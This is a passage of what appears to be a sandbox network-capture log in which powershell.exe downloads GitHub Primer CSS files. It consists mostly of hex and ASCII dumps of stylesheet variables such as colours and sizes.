2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 6c 6f 72 2d 63 6f 6d 6d 65 6e 74 3a 20 23 31 66 32 33 32 38 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 63 6f 6e 73 74 61 6e 74 3a 20 23 30 35 35 30 61 65 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 65 6e 74 69 74 79 3a 20 23 38 32 35 30 64 66 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 6b 65 79 77 6f 72 64 3a 20 23 63 66 32 32 32 65 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 73 74 6f 72 61 67 65 3a 20 23 63 66 32 32 32 65 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 73 74 72 69 6e 67 3a 20 23 30 61 Data Ascii: lor-comment: #1f2328; --codeMirror-syntax-fgColor-constant: #0550ae; --codeMirror-syntax-fgColor-entity: #8250df; --codeMirror-syntax-fgColor-keyword: #cf222e; --codeMirror-syntax-fgColor-storage: #cf222e; --codeMirror-syntax-fgColor-string: #0a
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 66 66 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 62 6c 75 65 2d 62 67 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 30 30 36 65 64 62 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 62 6c 75 65 2d 66 67 43 6f 6c 6f 72 3a 20 23 30 30 35 66 63 63 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 62 6c 75 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 61 64 65 31 66 66 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 62 6c 75 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 30 30 36 65 64 62 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 67 72 65 65 6e 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 63 61 66 37 63 61 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 67 72 65 65 6e 2d 62 67 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 Data Ascii: ff; --display-blue-bgColor-emphasis: #006edb; --display-blue-fgColor: #005fcc; --display-blue-borderColor-muted: #ade1ff; --display-blue-borderColor-emphasis: #006edb; --display-green-bgColor-muted: #caf7ca; --display-green-bgColor-emphasis: #
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 32 65 31 32 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 63 6f 72 61 6c 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 66 65 63 65 62 65 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 63 6f 72 61 6c 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 64 34 33 35 31 31 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 79 65 6c 6c 6f 77 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 66 66 65 63 39 65 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 79 65 6c 6c 6f 77 2d 62 67 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 39 34 36 61 30 30 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 79 65 6c 6c 6f 77 2d 66 67 43 6f 6c 6f 72 3a 20 23 38 30 35 39 30 30 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 79 65 6c 6c 6f 77 2d 62 6f 72 64 65 72 43 6f 6c Data Ascii: 2e12; --display-coral-borderColor-muted: #fecebe; --display-coral-borderColor-emphasis: #d43511; --display-yellow-bgColor-muted: #ffec9e; --display-yellow-bgColor-emphasis: #946a00; --display-yellow-fgColor: #805900; --display-yellow-borderCol
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 6c 69 76 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 36 34 37 36 32 64 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 65 33 66 32 62 35 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 62 67 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 35 32 37 61 32 39 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 66 67 43 6f 6c 6f 72 3a 20 23 34 37 36 63 32 38 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 63 37 65 35 38 30 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 35 32 37 61 32 39 3b 0a 20 20 2d 2d 64 69 Data Ascii: live-borderColor-emphasis: #64762d; --display-lime-bgColor-muted: #e3f2b5; --display-lime-bgColor-emphasis: #527a29; --display-lime-fgColor: #476c28; --display-lime-borderColor-muted: #c7e580; --display-lime-borderColor-emphasis: #527a29; --di
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 31 66 32 33 32 38 32 36 3b 0a 20 20 2d 2d 61 76 61 74 61 72 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 30 70 78 20 30 70 78 20 32 70 78 20 23 66 66 66 66 66 66 63 63 3b 0a 20 20 2d 2d 61 76 61 74 61 72 53 74 61 63 6b 2d 66 61 64 65 2d 62 67 43 6f 6c 6f 72 2d 64 65 66 61 75 6c 74 3a 20 23 63 38 64 31 64 61 3b 0a 20 20 2d 2d 61 76 61 74 61 72 53 74 61 63 6b 2d 66 61 64 65 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 64 61 65 30 65 37 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 66 36 66 38 66 61 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 62 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 65 66 66 32 66 35 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 62 67 43 6f 6c 6f 72 2d 61 63 74 69 76 65 3a 20 23 65 36 65 61 65 66 3b Data Ascii: 1f232826; --avatar-shadow: 0px 0px 0px 2px #ffffffcc; --avatarStack-fade-bgColor-default: #c8d1da; --avatarStack-fade-bgColor-muted: #dae0e7; --control-bgColor-rest: #f6f8fa; --control-bgColor-hover: #eff2f5; --control-bgColor-active: #e6eaef;
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 30 39 36 39 64 61 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 62 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 30 38 36 30 63 61 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 62 67 43 6f 6c 6f 72 2d 61 63 74 69 76 65 3a 20 23 30 37 35 37 62 61 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 62 67 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 3a 20 23 38 31 38 62 39 38 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 66 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 66 67 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 3a 20 23 Data Ascii: ntrol-checked-bgColor-rest: #0969da; --control-checked-bgColor-hover: #0860ca; --control-checked-bgColor-active: #0757ba; --control-checked-bgColor-disabled: #818b98; --control-checked-fgColor-rest: #ffffff; --control-checked-fgColor-disabled: #
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 65 64 3a 20 23 65 36 65 61 65 66 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 67 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 3a 20 23 65 66 66 32 66 35 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 64 31 64 39 65 30 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 64 31 64 39 65 30 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 61 63 74 69 76 65 3a 20 23 64 31 64 39 65 30 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 3a 20 23 38 31 38 62 39 38 31 61 3b 0a 20 20 2d Data Ascii: ed: #e6eaef; --button-default-bgColor-disabled: #eff2f5; --button-default-borderColor-rest: #d1d9e0; --button-default-borderColor-hover: #d1d9e0; --button-default-borderColor-active: #d1d9e0; --button-default-borderColor-disabled: #818b981a; -
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 6c 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 66 66 66 66 66 66 30 30 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 69 6e 76 69 73 69 62 6c 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 66 66 66 66 66 66 30 30 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 69 6e 76 69 73 69 62 6c 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 3a 20 23 38 31 38 62 39 38 31 61 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 6f 75 74 6c 69 6e 65 2d 66 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 30 39 36 39 64 61 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 6f 75 74 6c 69 6e 65 2d 66 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 6f 75 74 6c 69 6e 65 2d 66 67 43 6f 6c 6f 72 2d 61 63 74 69 76 65 Data Ascii: le-borderColor-rest: #ffffff00; --button-invisible-borderColor-hover: #ffffff00; --button-invisible-borderColor-disabled: #818b981a; --button-outline-fgColor-rest: #0969da; --button-outline-fgColor-hover: #ffffff; --button-outline-fgColor-active
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 62 75 74 74 6f 6e 2d 73 74 61 72 2d 69 63 6f 6e 43 6f 6c 6f 72 3a 20 23 65 61 63 35 34 66 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 64 65 66 61 75 6c 74 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 38 31 38 62 39 38 31 66 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 69 6e 76 69 73 69 62 6c 65 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 38 31 38 62 39 38 31 66 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 70 72 69 6d 61 72 79 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 30 30 32 64 31 31 33 33 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 6f 75 74 6c 69 6e 65 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 30 39 36 39 64 61 31 61 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 Data Ascii: button-star-iconColor: #eac54f; --buttonCounter-default-bgColor-rest: #818b981f; --buttonCounter-invisible-bgColor-rest: #818b981f; --buttonCounter-primary-bgColor-rest: #002d1133; --buttonCounter-outline-bgColor-rest: #0969da1a; --buttonCounter

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49712	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:10 UTC	368	OUT	GET /assets/primer-primitives-4cf0d59ab51a.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:10 UTC	680	IN	HTTP/1.1 200 OK Connection: close Content-Length: 8523 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Tue, 03 Sep 2024 18:51:51 GMT ETag: "0x8DCCC497906BD46" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2292644 Date: Mon, 30 Sep 2024 13:50:10 GMT X-Served-By: cache-iad-kiad7000060-IAD, cache-ewr-kewr1740037-EWR X-Cache: HIT, HIT X-Cache-Hits: 14, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 55d91c79f42ab28a5da199e463b5808299d90aae
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 2f 2a 20 43 53 53 20 4c 61 79 65 72 20 64 65 66 69 6e 69 74 69 6f 6e 73 20 2a 2f 0a 40 6c 61 79 65 72 20 70 72 69 6d 65 72 2d 63 73 73 2d 62 61 73 65 2c 20 70 72 69 6d 65 72 2d 72 65 61 63 74 2c 20 72 65 63 69 70 65 73 3b 0a 0a 3a 72 6f 6f 74 20 7b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 32 3a 20 30 2e 31 32 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 34 3a 20 30 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 36 3a 20 30 2e 33 37 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 38 3a 20 30 2e 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 32 3a 20 30 2e 37 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 36 3a 20 31 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 32 Data Ascii: /* CSS Layer definitions */@layer primer-css-base, primer-react, recipes;:root { --base-size-2: 0.125rem; --base-size-4: 0.25rem; --base-size-6: 0.375rem; --base-size-8: 0.5rem; --base-size-12: 0.75rem; --base-size-16: 1rem; --base-size-2
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 6e 74 2d 6c 61 72 67 65 3a 20 36 33 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 61 72 67 65 3a 20 38 30 72 65 6d 3b 0a 20 20 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 78 6c 61 72 67 65 3a 20 38 37 2e 35 72 65 6d 3b 0a 7d 0a 0a 40 6d 65 64 69 61 20 28 70 6f 69 6e 74 65 72 3a 20 63 6f 61 72 73 65 29 20 7b 0a 20 20 3a 72 6f 6f 74 20 7b 0a 20 20 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 6d 69 6e 54 61 72 67 65 74 2d 61 75 74 6f 3a 20 32 2e 37 35 72 65 6d 3b 0a 20 20 20 20 2d 2d 63 6f 6e 74 72 6f 6c 53 74 61 63 6b 2d 73 6d 61 6c 6c 2d 67 61 70 2d 61 75 74 6f 3a 20 31 72 65 6d 3b 0a 20 20 20 20 2d 2d 63 6f 6e 74 72 6f 6c 53 74 61 63 6b 2d 6d 65 64 69 75 6d 2d 67 61 70 2d 61 75 74 6f 3a 20 30 2e 37 35 72 65 6d 3b 0a 20 20 7d 0a 7d 0a 0a Data Ascii: nt-large: 63.25rem; --breakpoint-xlarge: 80rem; --breakpoint-xxlarge: 87.5rem;}@media (pointer: coarse) { :root { --control-minTarget-auto: 2.75rem; --controlStack-small-gap-auto: 1rem; --controlStack-medium-gap-auto: 0.75rem; }}
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 20 32 2e 35 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 6c 69 6e 65 42 6f 78 48 65 69 67 68 74 3a 20 31 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 70 61 64 64 69 6e 67 42 6c 6f 63 6b 3a 20 30 2e 36 32 35 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 70 61 64 64 69 6e 67 49 6e 6c 69 6e 65 2d 6e 6f 72 6d 61 6c 3a 20 30 2e 37 35 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 70 61 64 64 69 6e 67 49 6e 6c 69 6e 65 2d 73 70 61 63 69 6f 75 73 3a 20 31 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 67 61 70 3a 20 30 2e 35 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 78 6c 61 72 67 65 2d 73 69 7a 65 3a 20 33 72 65 6d 3b 0a 20 20 2d Data Ascii: 2.5rem; --control-large-lineBoxHeight: 1.25rem; --control-large-paddingBlock: 0.625rem; --control-large-paddingInline-normal: 0.75rem; --control-large-paddingInline-spacious: 1rem; --control-large-gap: 0.5rem; --control-xlarge-size: 3rem; -
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 68 65 69 67 68 74 2d 78 6c 61 72 67 65 3a 20 33 37 2e 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 70 61 64 64 69 6e 67 2d 6e 6f 72 6d 61 6c 3a 20 31 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 70 61 64 64 69 6e 67 2d 63 6f 6e 64 65 6e 73 65 64 3a 20 30 2e 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 70 61 64 64 69 6e 67 42 6c 6f 63 6b 2d 63 6f 6e 64 65 6e 73 65 64 3a 20 30 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 70 61 64 64 69 6e 67 42 6c 6f 63 6b 2d 6e 6f 72 6d 61 6c 3a 20 30 2e 37 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 62 6f 72 64 65 72 52 61 64 69 75 73 3a 20 30 2e 33 37 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 6f 66 66 73 65 74 3a 20 30 Data Ascii: ; --overlay-height-xlarge: 37.5rem; --overlay-padding-normal: 1rem; --overlay-padding-condensed: 0.5rem; --overlay-paddingBlock-condensed: 0.25rem; --overlay-paddingBlock-normal: 0.75rem; --overlay-borderRadius: 0.375rem; --overlay-offset: 0
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 69 7a 65 2d 6d 65 64 69 75 6d 3a 20 31 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 74 65 78 74 2d 74 69 74 6c 65 2d 73 69 7a 65 2d 6c 61 72 67 65 3a 20 32 72 65 6d 3b 0a 20 20 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 73 69 7a 65 3a 20 32 2e 35 72 65 6d 3b 0a 20 20 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 6c 69 6e 65 42 6f 78 48 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 2d 2d 66 6f 6e 74 53 74 61 63 6b 2d 6d 6f 6e 6f 73 70 61 63 65 3a 20 75 69 2d 6d 6f 6e 6f 73 70 61 63 65 2c 20 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 20 53 46 20 4d 6f 6e 6f 2c 20 4d 65 6e 6c 6f 2c 20 43 6f 6e 73 6f 6c 61 73 2c 20 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 2c 20 6d Data Ascii: ize-medium: 1.25rem; --text-title-size-large: 2rem; --text-display-lineHeight: 1.4; --text-display-size: 2.5rem; --text-display-lineBoxHeight: 1.4; --fontStack-monospace: ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, m
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 63 65 29 3b 0a 20 20 2d 2d 74 65 78 74 2d 63 6f 64 65 42 6c 6f 63 6b 2d 73 68 6f 72 74 68 61 6e 64 3a 20 76 61 72 28 2d 2d 74 65 78 74 2d 63 6f 64 65 42 6c 6f 63 6b 2d 77 65 69 67 68 74 29 20 76 61 72 28 2d 2d 74 65 78 74 2d 63 6f 64 65 42 6c 6f 63 6b 2d 73 69 7a 65 29 20 2f 20 76 61 72 28 2d 2d 74 65 78 74 2d 63 6f 64 65 42 6c 6f 63 6b 2d 6c 69 6e 65 48 65 69 67 68 74 29 20 76 61 72 28 2d 2d 66 6f 6e 74 53 74 61 63 6b 2d 6d 6f 6e 6f 73 70 61 63 65 29 3b 0a 20 20 2d 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 2d 73 68 6f 72 74 68 61 6e 64 3a 20 76 61 72 28 2d 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 2d 77 65 69 67 68 74 29 20 76 61 72 28 2d 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 2d 73 69 7a 65 29 20 2f 20 76 61 72 28 2d 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 2d Data Ascii: ce); --text-codeBlock-shorthand: var(--text-codeBlock-weight) var(--text-codeBlock-size) / var(--text-codeBlock-lineHeight) var(--fontStack-monospace); --text-caption-shorthand: var(--text-caption-weight) var(--text-caption-size) / var(--text-caption-
2024-09-30 13:50:10 UTC	255	IN	Data Raw: 3b 0a 20 20 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 73 68 6f 72 74 68 61 6e 64 3a 20 76 61 72 28 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 77 65 69 67 68 74 29 20 76 61 72 28 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 73 69 7a 65 29 20 2f 20 76 61 72 28 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 6c 69 6e 65 48 65 69 67 68 74 29 20 76 61 72 28 2d 2d 66 6f 6e 74 53 74 61 63 6b 2d 73 61 6e 73 53 65 72 69 66 44 69 73 70 6c 61 79 29 3b 0a 7d 0a 0a 0a 2f 2a 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 69 6e 64 65 78 2e 73 63 73 73 2e 6d 61 70 20 2a 2f 0a 0a 2f 2a 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 70 72 69 6d 65 72 2d 70 72 69 6d 69 74 69 76 65 73 2d 65 64 61 33 61 37 39 39 33 38 38 66 2e 63 73 73 2e 6d 61 70 2a 2f Data Ascii: ; --text-display-shorthand: var(--text-display-weight) var(--text-display-size) / var(--text-display-lineHeight) var(--fontStack-sansSerifDisplay);}/# sourceMappingURL=index.scss.map //# sourceMappingURL=primer-primitives-eda3a799388f.css.map/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49713	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:10 UTC	357	OUT	GET /assets/primer-fefb1a332c28.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:10 UTC	681	IN	HTTP/1.1 200 OK Connection: close Content-Length: 340610 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Tue, 24 Sep 2024 17:30:44 GMT ETag: "0x8DCDCBE9F00AF9E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 481991 Date: Mon, 30 Sep 2024 13:50:10 GMT X-Served-By: cache-iad-kiad7000111-IAD, cache-ewr-kewr1740036-EWR X-Cache: HIT, HIT X-Cache-Hits: 24, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 9963daa08011b80d745bc475e9cb5a596414cdaa
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 68 30 30 2d 73 69 7a 65 2d 6d 6f 62 69 6c 65 3a 20 32 2e 35 72 65 6d 3b 2d 2d 68 30 2d 73 69 7a 65 2d 6d 6f 62 69 6c 65 3a 20 32 72 65 6d 3b 2d 2d 68 31 2d 73 69 7a 65 2d 6d 6f 62 69 6c 65 3a 20 31 2e 36 32 35 72 65 6d 3b 2d 2d 68 32 2d 73 69 7a 65 2d 6d 6f 62 69 6c 65 3a 20 31 2e 33 37 35 72 65 6d 3b 2d 2d 68 33 2d 73 69 7a 65 2d 6d 6f 62 69 6c 65 3a 20 31 2e 31 32 35 72 65 6d 3b 2d 2d 68 30 30 2d 73 69 7a 65 3a 20 33 72 65 6d 3b 2d 2d 68 30 2d 73 69 7a 65 3a 20 32 2e 35 72 65 6d 3b 2d 2d 68 31 2d 73 69 7a 65 3a 20 32 72 65 6d 3b 2d 2d 68 32 2d 73 69 7a 65 3a 20 31 2e 35 72 65 6d 3b 2d 2d 68 33 2d 73 69 7a 65 3a 20 31 2e 32 35 72 65 6d 3b 2d 2d 68 34 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 2d 2d 68 35 2d 73 69 7a 65 3a 20 30 2e 38 37 Data Ascii: :root{--h00-size-mobile: 2.5rem;--h0-size-mobile: 2rem;--h1-size-mobile: 1.625rem;--h2-size-mobile: 1.375rem;--h3-size-mobile: 1.125rem;--h00-size: 3rem;--h0-size: 2.5rem;--h1-size: 2rem;--h2-size: 1.5rem;--h3-size: 1.25rem;--h4-size: 1rem;--h5-size: 0.87
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 74 6d 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 